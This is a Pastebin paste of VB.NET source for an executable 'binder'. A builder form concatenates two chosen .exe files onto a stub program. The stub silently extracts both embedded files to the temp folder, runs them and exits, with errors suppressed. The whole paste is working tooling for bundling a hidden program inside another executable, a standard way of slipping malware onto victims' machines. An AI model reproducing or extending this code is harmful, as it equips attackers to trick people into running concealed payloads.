Guest User

Untitled

a guest
Sep 22nd, 2018
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 2.89 KB | None | 0 0
  1. Public Class Form1
  2.  
  3.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  4.         Dim ofd As New OpenFileDialog
  5.         ofd.Title = ""
  6.         ofd.Filter = "*.exe | *.exe"
  7.         ofd.Title = "File 1"
  8.         If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox1.Text = ofd.FileName
  9.         ofd.Title = "File 2"
  10.         If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox2.Text = ofd.FileName
  11.     End Sub
  12.  
  13.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  14.         Dim stub, File_One, File_Two, Filename1, filename2 As String
  15.         Const FileSplit = "47150"
  16.         FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
  17.         File_One = Space(LOF(1))
  18.         FileGet(1, File_One)
  19.         FileClose(1)
  20.  
  21.         FileOpen(2, TextBox2.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
  22.         File_Two = Space(LOF(2))
  23.         FileGet(2, File_Two)
  24.         FileClose(2)
  25.  
  26.         FileOpen(3, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
  27.         stub = Space(LOF(3))
  28.         FileGet(3, stub)
  29.         FileClose(3)
  30.         Dim OutputFile As String
  31.         Dim sfd As New SaveFileDialog
  32.         sfd.Filter = "*.exe | *.exe"
  33.         If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
  34.             OutputFile = sfd.FileName
  35.         Else : Exit Sub
  36.         End If
  37.         Filename1 = TextBox1.Text.Substring(TextBox1.Text.LastIndexOf("\"))
  38.         filename2 = TextBox2.Text.Substring(TextBox2.Text.LastIndexOf("\"))
  39.         FileOpen(3, OutputFile, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
  40.         FilePut(3, stub & FileSplit & File_One & FileSplit & File_Two & FileSplit & Filename1 & FileSplit & filename2)
  41.         FileClose(3)
  42.         MsgBox("Binded")
  43.     End Sub
  44. End Class
  45.  
  46.  
  47. stub
  48.  
  49. Public Class Stub
  50.  
  51.     Private Sub Stub_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  52.         On Error Resume Next
  53.         Dim TPath As String = System.IO.Path.GetTempPath
  54.         Const FileSplit = "47150"
  55.         Dim file1, joesdaddy, filez() As String
  56.         FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
  57.         file1 = Space(LOF(1))
  58.         FileGet(1, file1)
  59.         FileClose(1)
  60.         filez = Split(file1, FileSplit)
  61.         FileOpen(3, TPath & filez(3), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
  62.         FilePut(3, filez(1))
  63.         FileClose(3)
  64.         FileOpen(5, TPath & filez(4), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
  65.         FilePut(5, filez(2))
  66.         FileClose(5)
  67.         System.Diagnostics.Process.Start(TPath & filez(3))
  68.         System.Diagnostics.Process.Start(TPath & filez(4))
  69.         Me.Close()
  70.         End
  71.     End Sub
  72. End Class
Add Comment
Please, Sign In to add comment